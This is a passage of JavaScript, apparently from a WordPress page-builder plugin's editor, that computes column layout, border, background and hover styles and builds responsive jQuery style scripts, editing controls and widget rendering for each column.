this_column_options["margin"]; var this_column_padding = this_column_options["padding"]; var colWidth = this_column_options["width"]; var columnCSS = this_column_options["columnCSS"]; //var colWidthInPx = Math.floor( (1268*colWidth)/100); var columnMarginTop = this_column_margin["columnMarginTop"]; var columnMarginRight = this_column_margin["columnMarginRight"]; var columnMarginBottom = this_column_margin["columnMarginBottom"]; var columnMarginLeft = this_column_margin["columnMarginLeft"]; var columnPaddingTop = this_column_padding["columnPaddingTop"]; var columnPaddingRight = this_column_padding["columnPaddingRight"]; var columnPaddingBottom = this_column_padding["columnPaddingBottom"]; var columnPaddingLeft = this_column_padding["columnPaddingLeft"]; var this_column_margins = "margin:" + columnMarginTop + "% " + columnMarginRight + "% " + columnMarginBottom + "% " + columnMarginLeft + "%; padding:" + columnPaddingTop + "% " + columnPaddingRight + "% " + columnPaddingBottom + "% " + columnPaddingLeft + "%;"; this_col_shadow = ""; if (typeof this_column_options["colBoxShadow"] !== "undefined") { colBoxShadow = this_column_options["colBoxShadow"]; var this_col_shadow = "box-shadow: " + colBoxShadow["colBoxShadowH"] + "px " + colBoxShadow["colBoxShadowV"] + "px " + colBoxShadow["colBoxShadowBlur"] + "px " + colBoxShadow["colBoxShadowColor"] + " ; "; } if (typeof this_column_options["colBorder"] !== "undefined") { colBorder = this_column_options["colBorder"]; if (typeof colBorder["bwt"] == "undefined") { colBorder["bwt"] = colBorder["colBorderWidth"]; colBorder["bwb"] = colBorder["colBorderWidth"]; colBorder["bwl"] = colBorder["colBorderWidth"]; colBorder["bwr"] = colBorder["colBorderWidth"]; this_column_options["colBorder"] = colBorder; } if (typeof colBorder["brt"] == "undefined") { colBorder["brt"] = colBorder["colBorderRadius"]; colBorder["brb"] = colBorder["colBorderRadius"]; colBorder["brl"] = colBorder["colBorderRadius"]; colBorder["brr"] = colBorder["colBorderRadius"]; this_column_options["colBorder"] = colBorder; } } if (typeof this_column_options["colBorder"] !== "undefined") { colBorder = this_column_options["colBorder"]; if (typeof colBorder["bwt"] == "undefined") { colBorder["bwt"] = colBorder["colBorderWidth"]; colBorder["bwb"] = colBorder["colBorderWidth"]; colBorder["bwl"] = colBorder["colBorderWidth"]; colBorder["bwr"] = colBorder["colBorderWidth"]; this_column_options["colBorder"] = colBorder; } if (typeof colBorder["brt"] == "undefined") { colBorder["brt"] = colBorder["colBorderRadius"]; colBorder["brb"] = colBorder["colBorderRadius"]; colBorder["brl"] = colBorder["colBorderRadius"]; colBorder["brr"] = colBorder["colBorderRadius"]; this_column_options["colBorder"] = colBorder; } } this_col_border = ""; currColBorderDefault = ""; currColBorderTablet = ""; currColBorderMobile = ""; if (typeof this_column_options["colBorder"] !== "undefined") { colBorder = this_column_options["colBorder"]; var this_col_border = "border-top-width:" + colBorder["bwt"] + "px;" + "border-bottom-width:" + colBorder["bwb"] + "px;" + "border-left-width:" + colBorder["bwl"] + "px;" + "border-right-width:" + colBorder["bwr"] + "px;" + "border-style:" + colBorder["colBorderStyle"] + ";" + "border-color:" + colBorder["colBorderColor"] + ";" + "border-radius:" + colBorder["brt"] + "px " + colBorder["brb"] + "px " + colBorder["brr"] + "px " + colBorder["brl"] + "px;"; if (typeof colBorder["bwt"] != "undefined") { var currColBorderDefault = "" + "<script>" + "jQuery('.responsiveBtn').on('click',function(){" + "if (jQuery(this).hasClass('rbt-l') ) { " + "jQuery('#" + rowID + "-" + this_column + "').css({" + "'border-top-width':'" + colBorder["bwt"] + "px'," + "'border-bottom-width':'" + colBorder["bwb"] + "px'," + "'border-left-width':'" + colBorder["bwl"] + "px'," + "'border-right-width':'" + colBorder["bwr"] + "px'," + "'border-radius':'" + colBorder["brt"] + "px " + colBorder["brb"] + "px " + colBorder["brr"] + "px " + colBorder["brl"] + "px'," + "});" + "}" + "});" + "var currentVPS = jQuery('.currentViewPortSize').val();" + "if ( currentVPS == 'rbt-l' ) { " + "jQuery('#" + rowID + "-" + this_column + "').css({" + "'border-top-width':'" + colBorder["bwt"] + "px'," + "'border-bottom-width':'" + colBorder["bwb"] + "px'," + "'border-left-width':'" + colBorder["bwl"] + "px'," + "'border-right-width':'" + colBorder["bwr"] + "px'," + "'border-radius':'" + colBorder["brt"] + "px " + colBorder["brb"] + "px " + colBorder["brr"] + "px " + colBorder["brl"] + "px'," + "});" + "}" + "</script>"; } if (typeof colBorder["bwtT"] != "undefined") { var currColBorderTablet = "" + "<script>" + "jQuery('.responsiveBtn').on('click',function(){" + "if (jQuery(this).hasClass('rbt-m') ) { " + "jQuery('#" + rowID + "-" + this_column + "').css({" + "'border-top-width':'" + colBorder["bwtT"] + "px'," + "'border-bottom-width':'" + colBorder["bwbT"] + "px'," + "'border-left-width':'" + colBorder["bwlT"] + "px'," + "'border-right-width':'" + colBorder["bwrT"] + "px'," + "'border-radius':'" + colBorder["brtT"] + "px " + colBorder["brbT"] + "px " + colBorder["brrT"] + "px " + colBorder["brlT"] + "px'," + "});" + "}" + "});" + "var currentVPS = jQuery('.currentViewPortSize').val();" + "if ( currentVPS == 'rbt-m' ) { " + "jQuery('#" + rowID + "-" + this_column + "').css({" + "'border-top-width':'" + colBorder["bwtT"] + "px'," + "'border-bottom-width':'" + colBorder["bwbT"] + "px'," + "'border-left-width':'" + colBorder["bwlT"] + "px'," + "'border-right-width':'" + colBorder["bwrT"] + "px'," + "'border-radius':'" + colBorder["brtT"] + "px " + colBorder["brbT"] + "px " + colBorder["brrT"] + "px " + colBorder["brlT"] + "px'," + "});" + "}" + "</script>"; } if (typeof colBorder["bwtM"] != "undefined") { var currColBorderMobile = "" + "<script>" + "jQuery('.responsiveBtn').on('click',function(){" + "if (jQuery(this).hasClass('rbt-s') ) { " + "jQuery('#" + rowID + "-" + this_column + "').css({" + "'border-top-width':'" + colBorder["bwtM"] + "px'," + "'border-bottom-width':'" + colBorder["bwbM"] + "px'," + "'border-left-width':'" + colBorder["bwlM"] + "px'," + "'border-right-width':'" + colBorder["bwrM"] + "px'," + "'border-radius':'" + colBorder["brtM"] + "px " + colBorder["brbM"] + "px " + colBorder["brrM"] + "px " + colBorder["brlM"] + "px'," + "});" + "}" + "});" + "var currentVPS = jQuery('.currentViewPortSize').val();" + "if ( currentVPS == 'rbt-s' ) { " + "jQuery('#" + rowID + "-" + this_column + "').css({" + "'border-top-width':'" + colBorder["bwtM"] + "px'," + "'border-bottom-width':'" + colBorder["bwbM"] + "px'," + "'border-left-width':'" + colBorder["bwlM"] + "px'," + "'border-right-width':'" + colBorder["bwrM"] + "px'," + "'border-radius':'" + colBorder["brtM"] + "px " + colBorder["brbM"] + "px " + colBorder["brrM"] + "px " + colBorder["brlM"] + "px'," + "});" + "}" + "</script>"; } } colBorderResponsiveScripts = currColBorderDefault + currColBorderTablet + currColBorderMobile; this_col_shadow = this_col_shadow + this_col_border; colWidthIsEmpty = false; var colWidthUnit = "%"; if (colWidth == "" || colWidth == " ") { switch (rowColumns) { case "1": colWidth = 100; break; case "2": colWidth = 49; break; case "3": colWidth = 33; break; case "4": colWidth = 24; break; case "5": colWidth = 19; break; case "6": colWidth = 16.5; break; case "7": colWidth = 14.1; break; case "8": colWidth = 12; break; case "9": colWidth = 11; break; case "10": colWidth = 9.5; break; default: colWidth = 99; break; } colWidthIsEmpty = true; } let colWidthPreDefined = colWidth; if (parseInt(columnPaddingLeft) > 0) { colWidth = parseInt(colWidth) - parseInt(columnPaddingLeft); } if (parseInt(columnPaddingRight) > 0) { colWidth = parseInt(colWidth) - parseInt(columnPaddingRight); } if (colWidthIsEmpty == true) { if (parseInt(columnMarginLeft) > 0) { colWidth = parseInt(colWidth) - parseInt(columnMarginLeft); colWidth = parseInt(colWidth) - parseFloat('0.'+colWidthPreDefined); } if (parseInt(columnMarginRight) > 0) { colWidth = parseInt(colWidth) - parseInt(columnMarginRight); } } columnCustomClass = ""; if (typeof this_column_options["columnCustomClass"] !== "undefined") { columnCustomClass = this_column_options["columnCustomClass"]; } var colHideOnDesktop = "'display':'inline-block' ,", colHideOnTablet = "'display':'inline-block' ,", colHideOnMobile = "'display':'inline-block' ,"; if (typeof this_column_options["colHideOnDesktop"] !== "undefined") { if (this_column_options["colHideOnDesktop"] == "hide") { colHideOnDesktop = "display:'none' ,"; } if (this_column_options["colHideOnTablet"] == "hide") { colHideOnTablet = "display:'none' ,"; } if (this_column_options["colHideOnMobile"] == "hide") { colHideOnMobile = "display:'none' ,"; } } colContentAlignD = ""; colContentAlignT = ""; colContentAlignM = ""; if (typeof this_column_options["colCAD"] != "undefined") { if ( this_column_options["colCAD"] != "default" && this_column_options["colCAD"] != "" ) { if (colHideOnDesktop != "display:'none' ,") { colContentAlignD = "display: 'inline-flex' , 'justify-content': '" + this_column_options["colCAD"] + "' , 'flex-direction': 'column' ,"; } } if ( this_column_options["colCAT"] != "default" && this_column_options["colCAT"] != "" ) { if (colHideOnTablet != "display:'none' ,") { colContentAlignT = "display: 'inline-flex' , 'justify-content': '" + this_column_options["colCAT"] + "' , 'flex-direction': 'column' ,"; } } if ( this_column_options["colCAM"] != "default" && this_column_options["colCAM"] != "" ) { if (colHideOnMobile != "display:'none' ,") { colContentAlignM = "display: 'inline-flex' , 'justify-content': '" + this_column_options["colCAM"] + "' , 'flex-direction': 'column' ,"; } } } currColmarginDefault = ""; currColmarginTablet = ""; currColmarginMobile = ""; var currColmarginDefault = "" + "<script>" + "jQuery('.responsiveBtn').on('click',function(){" + " if (jQuery(this).hasClass('rbt-l') ) { " + " jQuery('#" + rowID + "-" + this_column + "').css({'margin-top':'" + columnMarginTop + "%', 'margin-bottom':'" + columnMarginBottom + "%', 'margin-left':'" + columnMarginLeft + "%', 'margin-right':'" + columnMarginRight + "%', 'min-height':'" + rowHeight + rowHeightUnit + "', " + colHideOnDesktop + colContentAlignD + "});" + " jQuery('#" + rowID + "-" + this_column + "').css({'padding-top':'" + columnPaddingTop + "%', 'padding-bottom':'" + columnPaddingBottom + "%', 'padding-left':'" + columnPaddingLeft + "%', 'padding-right':'" + columnPaddingRight + "%', 'width':'" + colWidth + colWidthUnit + "', });" + " }" + "});" + "var currentVPS = jQuery('.currentViewPortSize').val();" + "if ( currentVPS == 'rbt-l' ) { " + " jQuery('#" + rowID + "-" + this_column + "').css({'margin-top':'" + columnMarginTop + "%', 'margin-bottom':'" + columnMarginBottom + "%', 'margin-left':'" + columnMarginLeft + "%', 'margin-right':'" + columnMarginRight + "%', 'min-height':'" + rowHeight + rowHeightUnit + "', " + colHideOnDesktop + colContentAlignD + " });" + " jQuery('#" + rowID + "-" + this_column + "').css({'padding-top':'" + columnPaddingTop + "%', 'padding-bottom':'" + columnPaddingBottom + "%', 'padding-left':'" + columnPaddingLeft + "%', 'padding-right':'" + columnPaddingRight + "%', 'width':'" + colWidth + colWidthUnit + "', });" + "}" + " " + "</script> "; if (typeof this_column_options["paddingTablet"] !== "undefined") { colPaddingTablet = this_column_options["paddingTablet"]; colMarginTablet = this_column_options["marginTablet"]; colWidthTablet = this_column_options["widthTablet"]; if (colWidthTablet == "") { colWidthTablet = "99.9"; } if (colWidthTablet != "") { if (parseInt(colPaddingTablet["rPLT"]) > 0) { colWidthTablet = parseInt(colWidthTablet) - parseInt(colPaddingTablet["rPLT"]); } if (parseInt(colPaddingTablet["rPRT"]) > 0) { colWidthTablet = parseInt(colWidthTablet) - parseInt(colPaddingTablet["rPRT"]); } } var currColmarginTablet = "" + "<script>" + "jQuery('.responsiveBtn').on('click',function(){" + " if (jQuery(this).hasClass('rbt-m') ) { " + " jQuery('#" + rowID + "-" + this_column + "').css({'margin-top':'" + colMarginTablet["rMTT"] + "%', 'margin-bottom':'" + colMarginTablet["rMBT"] + "%', 'margin-left':'" + colMarginTablet["rMLT"] + "%', 'margin-right':'" + colMarginTablet["rMRT"] + "%', 'min-height':'" + rowHeightTablet + rowHeightUnitTablet + "', " + colHideOnTablet + colContentAlignT + " });" + " jQuery('#" + rowID + "-" + this_column + "').css({'padding-top':'" + colPaddingTablet["rPTT"] + "%', 'padding-bottom':'" + colPaddingTablet["rPBT"] + "%', 'padding-left':'" + colPaddingTablet["rPLT"] + "%', 'padding-right':'" + colPaddingTablet["rPRT"] + "%', 'width':'" + colWidthTablet + "%', });" + " }" + "});" + "var currentVPS = jQuery('.currentViewPortSize').val();" + "if ( currentVPS == 'rbt-m' ) { " + " jQuery('#" + rowID + "-" + this_column + "').css({'margin-top':'" + colMarginTablet["rMTT"] + "%', 'margin-bottom':'" + colMarginTablet["rMBT"] + "%', 'margin-left':'" + colMarginTablet["rMLT"] + "%', 'margin-right':'" + colMarginTablet["rMRT"] + "%', 'min-height':'" + rowHeightTablet + rowHeightUnitTablet + "', " + colHideOnTablet + colContentAlignT + " });" + " jQuery('#" + rowID + "-" + this_column + "').css({'padding-top':'" + colPaddingTablet["rPTT"] + "%', 'padding-bottom':'" + colPaddingTablet["rPBT"] + "%', 'padding-left':'" + colPaddingTablet["rPLT"] + "%', 'padding-right':'" + colPaddingTablet["rPRT"] + "%', 'width':'" + colWidthTablet + "%', });" + "}" + " " + "</script> "; } var currColmarginMobile = "" + "<script>" + "jQuery('.responsiveBtn').on('click',function(){" + " if (jQuery(this).hasClass('rbt-s') || jQuery(this).hasClass('rbt-m') ) { " + " jQuery('#" + rowID + "-" + this_column + "').css({'margin-top':'" + "" + "%', 'margin-bottom':'" + "30px" + "', 'margin-left':'" + "" + "%', 'margin-right':'" + "" + "%', 'min-height':'" + rowHeightMobile + rowHeightUnitMobile + "',});" + " jQuery('#" + rowID + "-" + this_column + "').css({'padding-top':'" + "" + "%', 'padding-bottom':'" + "" + "%', 'padding-left':'" + "" + "%', 'padding-right':'" + "" + "%', 'width':'" + "99.9" + "%', });" + " }" + "});" + "var currentVPS = jQuery('.currentViewPortSize').val();" + "if ( currentVPS == 'rbt-s' || currentVPS == 'rbt-m' ) { " + " jQuery('#" + rowID + "-" + this_column + "').css({'margin-top':'" + "" + "%', 'margin-bottom':'" + "30px" + "', 'margin-left':'" + "" + "%', 'margin-right':'" + "" + "%', 'min-height':'" + rowHeightMobile + rowHeightUnitMobile + "',});" + " jQuery('#" + rowID + "-" + this_column + "').css({'padding-top':'" + "" + "%', 'padding-bottom':'" + "" + "%', 'padding-left':'" + "" + "%', 'padding-right':'" + "" + "%', 'width':'" + "99.9" + "%', });" + "}" + " " + "</script> "; if (typeof this_column_options["paddingMobile"] !== "undefined") { colPaddingMobile = this_column_options["paddingMobile"]; colMarginMobile = this_column_options["marginMobile"]; colWidthMobile = this_column_options["widthMobile"]; if (colWidthMobile == "") { colWidthMobile = "99.9"; } if (colWidthMobile != "") { if (parseInt(colPaddingMobile["rPLM"]) > 0) { colWidthMobile = parseInt(colWidthMobile) - parseInt(colPaddingMobile["rPLM"]); } if (parseInt(colMarginMobile["rMRM"]) > 0) { colWidthMobile = parseInt(colWidthMobile) - parseInt(colMarginMobile["rMRM"]); } } colMarginMobileBottomUnit = "%"; if (colMarginMobile["rMBM"] == "") { colMarginMobile["rMBM"] = ""; colMarginMobileBottomUnit = "px"; } currColmarginMobile = "" + "<script>" + "jQuery('.responsiveBtn').on('click',function(){" + " if (jQuery(this).hasClass('rbt-s') ) { " + " jQuery('#" + rowID + "-" + this_column + "').css({'margin-top':'" + colMarginMobile["rMTM"] + "%', 'margin-bottom':'" + colMarginMobile["rMBM"] + colMarginMobileBottomUnit + "', 'margin-left':'" + colMarginMobile["rMLM"] + "%', 'margin-right':'" + colMarginMobile["rMRM"] + "%', 'min-height':'" + rowHeightMobile + rowHeightUnitMobile + "', " + colHideOnMobile + colContentAlignM + " });" + " jQuery('#" + rowID + "-" + this_column + "').css({'padding-top':'" + colPaddingMobile["rPTM"] + "%', 'padding-bottom':'" + colPaddingMobile["rPBM"] + "%', 'padding-left':'" + colPaddingMobile["rPLM"] + "%', 'padding-right':'" + colPaddingMobile["rPRM"] + "%', 'width':'" + colWidthMobile + "%', });" + " }" + "});" + "var currentVPS = jQuery('.currentViewPortSize').val();" + "if ( currentVPS == 'rbt-s' ) { " + " jQuery('#" + rowID + "-" + this_column + "').css({'margin-top':'" + colMarginMobile["rMTM"] + "%', 'margin-bottom':'" + colMarginMobile["rMBM"] + colMarginMobileBottomUnit + "', 'margin-left':'" + colMarginMobile["rMLM"] + "%', 'margin-right':'" + colMarginMobile["rMRM"] + "%', 'min-height':'" + rowHeightMobile + rowHeightUnitMobile + "', " + colHideOnMobile + colContentAlignM + " });" + " jQuery('#" + rowID + "-" + this_column + "').css({'padding-top':'" + colPaddingMobile["rPTM"] + "%', 'padding-bottom':'" + colPaddingMobile["rPBM"] + "%', 'padding-left':'" + colPaddingMobile["rPLM"] + "%', 'padding-right':'" + colPaddingMobile["rPRM"] + "%', 'width':'" + colWidthMobile + "%', });" + "}" + " " + "</script> "; } var colBackgroundOptions = "background-color:" + this_column_bg_color + ";"; this_column_bg_img = ""; if (typeof this_column_options["colBgImg"] !== "undefined") { this_column_bg_img = this_column_options["colBgImg"]; if (this_column_bg_img !== "") { colBackgroundOptions = "background-image: url(" + this_column_bg_img + "); background-repeat: no-repeat; background-position:center; background-size:cover; background-color:" + this_column_bg_color + ";"; } } var defaultColBackgroundType = "solid"; if (typeof this_column_options["colBackgroundType"] !== "undefined") { defaultColBackgroundType = this_column_options["colBackgroundType"]; if (this_column_options["colBackgroundType"] == "gradient") { var colGradient = this_column_options["colGradient"]; if (colGradient["colGradientType"] == "linear") { colBackgroundOptions = "background: linear-gradient(" + colGradient["colGradientAngle"] + "deg, " + colGradient["colGradientColorFirst"] + " " + colGradient["colGradientLocationFirst"] + "%," + colGradient["colGradientColorSecond"] + " " + colGradient["colGradientLocationSecond"] + "%);"; } if (colGradient["colGradientType"] == "radial") { colBackgroundOptions = "background: radial-gradient(at " + colGradient["colGradientPosition"] + ", " + colGradient["colGradientColorFirst"] + " " + colGradient["colGradientLocationFirst"] + "%," + colGradient["colGradientColorSecond"] + " " + colGradient["colGradientLocationSecond"] + "%);"; } } } var colID = rowID + "-" + this_column; var thisColHoverStyleTag = ""; var thisColHoverOption = ""; if (typeof this_column_options["colHoverOptions"] !== "undefined") { var colHoverOptions = this_column_options["colHoverOptions"]; if (colHoverOptions["colBackgroundTypeHover"] == "solid") { var thisColHoverOption = " #" + colID + ":hover { background:" + colHoverOptions["colBgColorHover"] + " !important; transition: all " + colHoverOptions["colHoverTransitionDuration"] + "s; }"; } if (colHoverOptions["colBackgroundTypeHover"] == "gradient") { var colGradientHover = colHoverOptions["colGradientHover"]; if (colGradientHover["colGradientTypeHover"] == "linear") { thisColHoverOption = " #" + colID + ":hover { background: linear-gradient(" + colGradientHover["colGradientAngleHover"] + "deg, " + colGradientHover["colGradientColorFirstHover"] + " " + colGradientHover["colGradientLocationFirstHover"] + "%," + colGradientHover["colGradientColorSecondHover"] + " " + colGradientHover["colGradientLocationSecondHover"] + "%) !important; transition: all " + colHoverOptions["colHoverTransitionDuration"] + "s; }"; } if (colGradientHover["colGradientTypeHover"] == "radial") { thisColHoverOption = " #" + colID + ":hover { background: radial-gradient(at " + colGradientHover["colGradientPositionHover"] + ", " + colGradientHover["colGradientColorFirstHover"] + " " + colGradientHover["colGradientLocationFirstHover"] + "%," + colGradientHover["colGradientColorSecondHover"] + " " + colGradientHover["colGradientLocationSecondHover"] + "%) !important; transition: all " + colHoverOptions["colHoverTransitionDuration"] + "s; }"; } } } //New extra BG Options for column currColDefaultBackgroundOps = ""; currColtabletBackgroundOps = ""; currColmobileBackgroundOps = ""; if (defaultColBackgroundType == "solid") { if (typeof this_column_options["bgImgOps"] != "undefined") { drbgImgOps = this_column_options["bgImgOps"]; defaultRowBgImg = this_column_options["colBgImg"]; tabletRowBgImg = this_column_options["colBgImgT"]; mobileRowBgImg = this_column_options["colBgImgM"]; if (tabletRowBgImg == "") { tabletRowBgImg = defaultRowBgImg; } if (mobileRowBgImg == "") { mobileRowBgImg = tabletRowBgImg; } defaultRowBgFixed = "scroll"; if (drbgImgOps["parlx"] == "true") { defaultRowBgFixed = "fixed"; } tabletRowBgFixed = defaultRowBgFixed; mobileRowBgFixed = defaultRowBgFixed; if (drbgImgOps["parlxT"] == "true") { tabletRowBgFixed = "fixed"; } if (drbgImgOps["parlxT"] == "false") { tabletRowBgFixed = "scroll"; } if (drbgImgOps["parlxM"] == "true") { mobileRowBgFixed = "fixed"; } if (drbgImgOps["parlxM"] == "false") { mobileRowBgFixed = "scroll"; } drbgImgOpsRep = drbgImgOps["rep"]; drbgImgOpsRepT = drbgImgOps["repT"]; drbgImgOpsRepM = drbgImgOps["repM"]; // desktop if (drbgImgOps["pos"] == "custom") { defaultBgImgPos = "'background-position-x': '" + drbgImgOps["xPos"] + drbgImgOps["xPosU"] + "', " + "'background-position-y': '" + drbgImgOps["yPos"] + drbgImgOps["yPosU"] + "', "; } else { defaultBgImgPos = "'background-position': '" + drbgImgOps["pos"] + "', "; } if (drbgImgOpsRep == "" || drbgImgOpsRep == "default") { drbgImgOpsRep = "no-repeat"; } if (drbgImgOps["size"] == "custom") { defaultBgImgSize = "'background-size': '" + drbgImgOps["cWid"] + drbgImgOps["widU"] + "', "; } else { defaultBgImgSize = "'background-size': '" + drbgImgOps["size"] + "', "; } var currColDefaultBackgroundOps = "" + "<script>" + "jQuery('.responsiveBtn').on('click',function(){" + "if (jQuery(this).hasClass('rbt-l') ) { " + "jQuery('#" + colID + "').css({ " + "'background-image': 'url(" + defaultRowBgImg + ")', " + "'background-repeat': '" + drbgImgOpsRep + "', " + "'background-attachment': '" + defaultRowBgFixed + "', " + defaultBgImgPos + defaultBgImgSize + "});" + "}" + "});" + " " + "var currentVPS = jQuery('.currentViewPortSize').val();" + "if ( currentVPS == 'rbt-l' ) { " + "jQuery('#" + colID + "').css({ " + "'background-image': 'url(" + defaultRowBgImg + ")', " + "'background-repeat': '" + drbgImgOpsRep + "', " + "'background-attachment': '" + defaultRowBgFixed + "', " + defaultBgImgPos + defaultBgImgSize + "});" + "}" + " " + "</script>"; // Tablet if (drbgImgOps["posT"] == "custom") { tabletBgImgPos = "'background-position-x': '" + drbgImgOps["xPosT"] + drbgImgOps["xPosUT"] + "', " + "'background-position-y': '" + drbgImgOps["yPosT"] + drbgImgOps["yPosUT"] + "', "; } else if (drbgImgOps["posT"] == "") { tabletBgImgPos = defaultBgImgPos; } else { tabletBgImgPos = "'background-position': '" + drbgImgOps["posT"] + "', "; } if (drbgImgOpsRepT == "" || drbgImgOpsRepT == "default") { drbgImgOpsRepT = drbgImgOpsRep; } if (drbgImgOps["sizeT"] == "custom") { tabletBgImgSize = "'background-size': '" + drbgImgOps["cWidT"] + drbgImgOps["widUT"] + "', "; } else if (drbgImgOps["sizeT"] == "") { tabletBgImgSize = defaultBgImgSize; } else { tabletBgImgSize = "'background-size': '" + drbgImgOps["sizeT"] + "', "; } var currColtabletBackgroundOps = "" + "<script>" + "jQuery('.responsiveBtn').on('click',function(){" + "if (jQuery(this).hasClass('rbt-m') ) { " + "jQuery('#" + colID + "').css({ " + "'background-image': 'url(" + tabletRowBgImg + ")', " + "'background-repeat': '" + drbgImgOpsRepT + "', " + "'background-attachment': '" + tabletRowBgFixed + "', " + tabletBgImgPos + tabletBgImgSize + "});" + "}" + "});" + " " + "var currentVPS = jQuery('.currentViewPortSize').val();" + "if ( currentVPS == 'rbt-m' ) { " + "jQuery('#" + colID + "').css({ " + "'background-image': 'url(" + tabletRowBgImg + ")', " + "'background-repeat': '" + drbgImgOpsRepT + "', " + "'background-attachment': '" + tabletRowBgFixed + "', " + tabletBgImgPos + tabletBgImgSize + "});" + "}" + " " + "</script>"; // mobile if (drbgImgOps["posM"] == "custom") { mobileBgImgPos = "'background-position-x': '" + drbgImgOps["xPosM"] + drbgImgOps["xPosUM"] + "', " + "'background-position-y': '" + drbgImgOps["yPosM"] + drbgImgOps["yPosUM"] + "', "; } else if (drbgImgOps["posM"] == "") { mobileBgImgPos = tabletBgImgPos; } else { mobileBgImgPos = "'background-position': '" + drbgImgOps["posM"] + "', "; } if (drbgImgOpsRepM == "" || drbgImgOpsRepM == "default") { drbgImgOpsRepM = drbgImgOpsRepT; } if (drbgImgOps["sizeM"] == "custom") { mobileBgImgSize = "'background-size': '" + drbgImgOps["cWidM"] + drbgImgOps["widUM"] + "', "; } else if (drbgImgOps["sizeM"] == "") { mobileBgImgSize = tabletBgImgSize; } else { mobileBgImgSize = "'background-size': '" + drbgImgOps["sizeM"] + "', "; } var currColmobileBackgroundOps = "" + "<script>" + "jQuery('.responsiveBtn').on('click',function(){" + "if (jQuery(this).hasClass('rbt-s') ) { " + "jQuery('#" + colID + "').css({ " + "'background-image': 'url(" + mobileRowBgImg + ")', " + "'background-repeat': '" + drbgImgOpsRepM + "', " + "'background-attachment': '" + mobileRowBgFixed + "', " + mobileBgImgPos + mobileBgImgSize + "});" + "}" + "});" + " " + "var currentVPS = jQuery('.currentViewPortSize').val();" + "if ( currentVPS == 'rbt-s' ) { " + "jQuery('#" + colID + "').css({ " + "'background-image': 'url(" + mobileRowBgImg + ")', " + "'background-repeat': '" + drbgImgOpsRepM + "', " + "'background-attachment': '" + mobileRowBgFixed + "', " + mobileBgImgPos + mobileBgImgSize + "});" + "}" + " " + "</script>"; } } colBgResScripts = currColDefaultBackgroundOps + currColtabletBackgroundOps + currColmobileBackgroundOps; var currColResponsiveScriptsTrigger = ' <div id="columnResponsiveScripts" style="display:none;"> \n ' + currColmarginTablet + " \n " + currColmarginMobile + " \n " + currColmarginDefault + colBgResScripts + colBorderResponsiveScripts + "</div>"; thisColHoverStyleTag = '<div id="columnStyleTag" style="display:none;"> <style> ' + thisColHoverOption + " </style> </div> "; var colEditBtn = "<div class='editColumn editColBtnTop' data-col_id=" + this_column + " data-overlay_id=" + this_column + " ><span class='dashicons dashicons-edit' style='color:#fff;' data-col_id=" + this_column + " data-overlay_id=" + this_column + "></span></div>" + "<div id='flipColumns' class='flipColumns editColBtnTop' style='margin-left: 40px;background:#607d8b; ' data-col_id=" + this_column + " data-colIndex=" + i + " data-overlay_id=" + this_column + " title='Flip with Next Column' > <i class='fa fa-exchange' data-col_id=" + this_column + " data-colIndex=" + i + " ></i> </div>" + "<div id='duplicateColumns' class='duplicateColumns editColBtnTop' style='margin-left: 74px;background:#607d8b; ' data-col_id=" + this_column + " data-colIndex=" + i + " data-overlay_id=" + this_column + " title='Duplicate Column' > <span class='dashicons dashicons-admin-page' data-col_id=" + this_column + " data-colIndex=" + i + " ></span> </div>" + "<div id='deleteColumns' class='deleteColumns editColBtnTop' style='margin-left: 111px;background:#607d8b; ' data-col_id=" + this_column + " data-colIndex=" + i + " data-overlay_id=" + this_column + " title='Delete Column' > <span class='dashicons dashicons-trash' data-col_id=" + this_column + " data-colIndex=" + i + " ></span> </div>" + "<div id='copyColumnOps' class='copyColumnOps editColBtnTop' style='margin-left: 148px;background:#607d8b; ' data-col_id=" + this_column + " data-overlay_id=" + this_column + " title='Copy Column Options' > Copy </div>" + "<div id='pasteColumnOps' class='pasteColumnOps editColBtnTop' style='margin-left: 198px; background:#607d8b; display:none;' data-col_id=" + this_column + " data-overlay_id=" + this_column + " data-colIndex=" + i + " title='Paste Column Options'> Paste </div>" + "<div class='thisColumnWidgetsTabTrigger' style='display:none;' data-col_id=" + this_column + " data-overlay_id=" + this_column + " data-colIndex=" + i + "></div>" + currColResponsiveScriptsTrigger + thisColHoverStyleTag; var colControls = '<div id="ulpb_column_controls" class="ulpb_column_controls ulpb_column_controls' + this_column + '" style="display:none;" > ' + '<div id="edit_form_closeCol" style="display:none;" class="btn-red btn"><span class="dashicons dashicons-no-alt"></span></div> ' + '<div id="editColumnSave" style="display:none;" data-col_id=' + this_column + " ></div>" + '<div id="editColumnSaveWidget" style="display:none;" data-col_id=' + this_column + " ></div>" + '<div id="editColumnSaveVisible" data-col_id=' + this_column + ' ><span class="dashicons dashicons-arrow-left editSaveVisibleIcon" data-col_id=' + this_column + "></span></div><br>" + "</div> \n"; $("#rowColCont-" + rowID).append( '<div class="pluginops_column ' + this_column + " " + columnCustomClass + ' " id=' + rowID + "-" + this_column + " data-col_id=" + this_column + ' style="width:' + colWidth + colWidthUnit + "; min-height:" + rowHeight + rowHeightUnit + "; " + colBackgroundOptions + " " + this_column_margins + " " + this_col_shadow + " " + columnCSS + '">' + '<div id="WidthSave" class="pb_hidden"></div>' + '<div id="RowHeightSave" class="pb_hidden"></div>' + '<div class="wdgt-dropped" style="display:none;" data-this_col_id=' + this_column + "></div>" + '<div class="wdgt-colChange" style="display:none;" data-this_col_id=' + this_column + "></div>" + colEditBtn + "</div>" ); $("#" + rowID + "-" + this_column).mouseenter(function (ev) { $(this).children(".editColBtnTop").css("display", "block"); $(this).css("outline", "2px solid #2B87DA"); if (pageBuilderApp.copiedColOps == "") { $(".pasteColumnOps").css("display", "none"); } }); $("#" + rowID + "-" + this_column).mouseleave(function () { $(".editColBtnTop").css("display", "none"); $(this).css("outline", "none"); }); // Column Widgets var this_column_widgets = thisColumnModelData["colWidgets"]; var this_column_widgets_array = _.values(this_column_widgets); var thisColFontsToLoad = []; for (var j = 0; j < this_column_widgets_array.length; j++) { this_column_widgets_array_C = this_column_widgets_array[j]; var thisRenderredWidget = completeWidgetRender( this_column_widgets_array_C, j, this_column, rowID, thisColFontsToLoad ); $('section[RowID="' + rowID + '"] ' + "." + this_column).append( thisRenderredWidget["RenderredWidgetHtmlDefault"] ); $("#" + rowID + "-" + this_column + " .widget-Draggable").mouseenter( function (ev) { $(this).children(".widgetHandle").css("display", "block"); if (pageBuilderApp.copiedWidgOps == "") { jQuery(".widgetPasteHandle").css("display", "none"); } } ); $("#" + rowID + "-" + this_column + " .widget-Draggable").mouseleave( function () { $(".widgetHandle").css("display", "none"); } ); try { enabledraggableWidgets(); } catch (e) { // statements console.log(e); } } // 